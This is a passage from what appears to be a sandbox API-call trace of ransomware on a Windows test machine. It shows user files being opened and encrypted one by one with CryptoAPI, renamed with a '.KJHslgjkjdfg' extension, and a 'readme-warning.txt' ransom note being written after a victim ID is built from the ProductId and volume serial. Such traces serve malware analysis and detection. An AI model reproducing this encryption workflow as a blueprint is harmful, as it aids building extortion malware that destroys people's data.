lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x11312, lpOverlapped=0x0) returned 1 [0144.171] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x11320, dwBufLen=0x11320 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x11320) returned 1 [0144.172] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.172] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11320, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x11320, lpOverlapped=0x0) returned 1 [0144.172] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.172] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x113f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.172] SetEndOfFile (hFile=0xb8) returned 1 [0144.175] GetProcessHeap () returned 0x990000 [0144.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.175] GetProcessHeap () returned 0x990000 [0144.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.176] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\V-z65G3mrfufY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\v-z65g3mrfufy.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\V-z65G3mrfufY.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\v-z65g3mrfufy.mp3.kjhslgjkjdfg")) returned 1 [0144.180] CloseHandle (hObject=0xb8) returned 1 [0144.180] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a6b7a0, ftCreationTime.dwHighDateTime=0x1d5e25a, ftLastAccessTime.dwLowDateTime=0x738d4e90, ftLastAccessTime.dwHighDateTime=0x1d5e1ad, ftLastWriteTime.dwLowDateTime=0x738d4e90, ftLastWriteTime.dwHighDateTime=0x1d5e1ad, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Ypi1zt.odp", cAlternateFileName="")) returned 1 [0144.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\Ypi1zt.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ypi1zt.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.181] GetProcessHeap () returned 0x990000 [0144.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.181] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.181] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.181] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.181] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.181] GetProcessHeap () returned 0x990000 [0144.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.181] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df9f0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df9f0*=0x30) returned 1 [0144.181] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.181] WriteFile (in: hFile=0xb8, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfa08*=0x30, lpOverlapped=0x0) returned 1 [0144.183] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.184] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.184] WriteFile (in: hFile=0xb8, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.184] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.184] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.184] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.184] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.184] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.184] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13d0, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x13d0, lpOverlapped=0x0) returned 1 [0144.185] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x13d0) returned 1 [0144.185] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.185] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x13d0, lpOverlapped=0x0) returned 1 [0144.185] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.185] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.185] SetEndOfFile (hFile=0xb8) returned 1 [0144.188] GetProcessHeap () returned 0x990000 [0144.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.188] GetProcessHeap () returned 0x990000 [0144.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.188] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\Ypi1zt.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ypi1zt.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\Ypi1zt.odp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ypi1zt.odp.kjhslgjkjdfg")) returned 1 [0144.189] CloseHandle (hObject=0xb8) returned 1 [0144.189] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35f231a0, ftCreationTime.dwHighDateTime=0x1d5df45, ftLastAccessTime.dwLowDateTime=0x64d29cf0, ftLastAccessTime.dwHighDateTime=0x1d5e01f, ftLastWriteTime.dwLowDateTime=0x64d29cf0, ftLastWriteTime.dwHighDateTime=0x1d5e01f, nFileSizeHigh=0x0, nFileSizeLow=0xbe79, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="zQFQwGjtOLPmUAYIbP3.jpg", cAlternateFileName="ZQFQWG~1.JPG")) returned 1 [0144.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\zQFQwGjtOLPmUAYIbP3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\zqfqwgjtolpmuayibp3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.189] GetProcessHeap () returned 0x990000 [0144.189] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.189] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.189] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.189] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0x7, lpOverlapped=0x0) returned 1 [0144.192] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.192] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.192] GetProcessHeap () returned 0x990000 [0144.192] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.192] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df9f0*=0x50) returned 1 [0144.192] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.192] WriteFile (in: hFile=0xb8, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfa08*=0x50, lpOverlapped=0x0) returned 1 [0144.192] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.192] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.192] WriteFile (in: hFile=0xb8, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.192] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.192] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.192] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.193] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.193] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.193] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbe79, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0xbe79, lpOverlapped=0x0) returned 1 [0144.194] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0xbe80, dwBufLen=0xbe80 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0xbe80) returned 1 [0144.194] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.194] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbe80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0xbe80, lpOverlapped=0x0) returned 1 [0144.195] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.195] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xbf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.195] SetEndOfFile (hFile=0xb8) returned 1 [0144.198] GetProcessHeap () returned 0x990000 [0144.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.198] GetProcessHeap () returned 0x990000 [0144.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.198] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\zQFQwGjtOLPmUAYIbP3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\zqfqwgjtolpmuayibp3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\zQFQwGjtOLPmUAYIbP3.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\zqfqwgjtolpmuayibp3.jpg.kjhslgjkjdfg")) returned 1 [0144.204] CloseHandle (hObject=0xb8) returned 1 [0144.204] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35f231a0, ftCreationTime.dwHighDateTime=0x1d5df45, ftLastAccessTime.dwLowDateTime=0x64d29cf0, ftLastAccessTime.dwHighDateTime=0x1d5e01f, ftLastWriteTime.dwLowDateTime=0x64d29cf0, ftLastWriteTime.dwHighDateTime=0x1d5e01f, nFileSizeHigh=0x0, nFileSizeLow=0xbe79, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="zQFQwGjtOLPmUAYIbP3.jpg", cAlternateFileName="ZQFQWG~1.JPG")) returned 0 [0144.204] GetProcessHeap () returned 0x990000 [0144.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6568) returned 1 [0144.204] CryptDecrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df840 | out: pbData=0x9af7b0, pdwDataLen=0x29df840) returned 1 [0144.204] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.204] GetProcessHeap () returned 0x990000 [0144.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0144.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6568) returned 1 [0144.204] CryptDecrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df840 | out: pbData=0x9af7f8, pdwDataLen=0x29df840) returned 1 [0144.205] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.205] GetProcessHeap () returned 0x990000 [0144.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7b90 [0144.205] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6568) returned 1 [0144.205] CryptDecrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7b90, pdwDataLen=0x29df840 | out: pbData=0x9b7b90, pdwDataLen=0x29df840) returned 1 [0144.205] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.205] GetProcessHeap () returned 0x990000 [0144.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0144.205] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df3b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6568) returned 1 [0144.205] CryptDecrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29df420 | out: pbData=0x9af840, pdwDataLen=0x29df420) returned 1 [0144.205] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.205] GetProcessHeap () returned 0x990000 [0144.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0144.205] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df3b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6568) returned 1 [0144.205] CryptDecrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29df420 | out: pbData=0x9b1918, pdwDataLen=0x29df420) returned 1 [0144.205] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.205] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29df41c | out: phkResult=0x29df41c*=0xb8) returned 0x0 [0144.206] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29df428, lpcbData=0x29df424*=0x400 | out: lpType=0x0, lpData=0x29df428*=0x30, lpcbData=0x29df424*=0x18) returned 0x0 [0144.206] RegCloseKey (hKey=0xb8) returned 0x0 [0144.206] GetProcessHeap () returned 0x990000 [0144.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0144.206] GetProcessHeap () returned 0x990000 [0144.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0144.206] GetProcessHeap () returned 0x990000 [0144.206] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0144.206] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df190, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6568) returned 1 [0144.206] CryptDecrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29df1f4 | out: pbData=0x9b1918, pdwDataLen=0x29df1f4) returned 1 [0144.206] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.206] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29df1f8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.206] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29df1f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df1f0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.207] GetProcessHeap () returned 0x990000 [0144.207] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0144.207] wsprintfA (in: param_1=0x29df43f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.207] wsprintfA (in: param_1=0x29df84c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.207] GetProcessHeap () returned 0x990000 [0144.207] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7f58 [0144.207] wsprintfW (in: param_1=0x29de81c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\readme-warning.txt") returned 71 [0144.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.208] WriteFile (in: hFile=0xb8, lpBuffer=0x9b7f58*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de818, lpOverlapped=0x0 | out: lpBuffer=0x9b7f58*, lpNumberOfBytesWritten=0x29de818*=0x3b3, lpOverlapped=0x0) returned 1 [0144.208] CloseHandle (hObject=0xb8) returned 1 [0144.208] GetProcessHeap () returned 0x990000 [0144.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b90 | out: hHeap=0x990000) returned 1 [0144.208] GetProcessHeap () returned 0x990000 [0144.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7f58 | out: hHeap=0x990000) returned 1 [0144.209] GetProcessHeap () returned 0x990000 [0144.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0144.209] GetProcessHeap () returned 0x990000 [0144.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.209] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0144.209] GetProcessHeap () returned 0x990000 [0144.209] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7908 | out: hHeap=0x990000) returned 1 [0144.209] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f94b850, ftCreationTime.dwHighDateTime=0x1d5e7ae, ftLastAccessTime.dwLowDateTime=0x6f35db20, ftLastAccessTime.dwHighDateTime=0x1d5d7c4, ftLastWriteTime.dwLowDateTime=0x6f35db20, ftLastWriteTime.dwHighDateTime=0x1d5d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x123f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ihLqxx84x 5yjg.m4a", cAlternateFileName="IHLQXX~1.M4A")) returned 1 [0144.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihLqxx84x 5yjg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihlqxx84x 5yjg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.209] GetProcessHeap () returned 0x990000 [0144.209] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.209] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.209] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.209] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x1, lpOverlapped=0x0) returned 1 [0144.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.211] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.211] GetProcessHeap () returned 0x990000 [0144.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.212] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0144.212] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.212] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0144.212] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.212] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.212] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.212] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.212] WriteFile (in: hFile=0xc0, 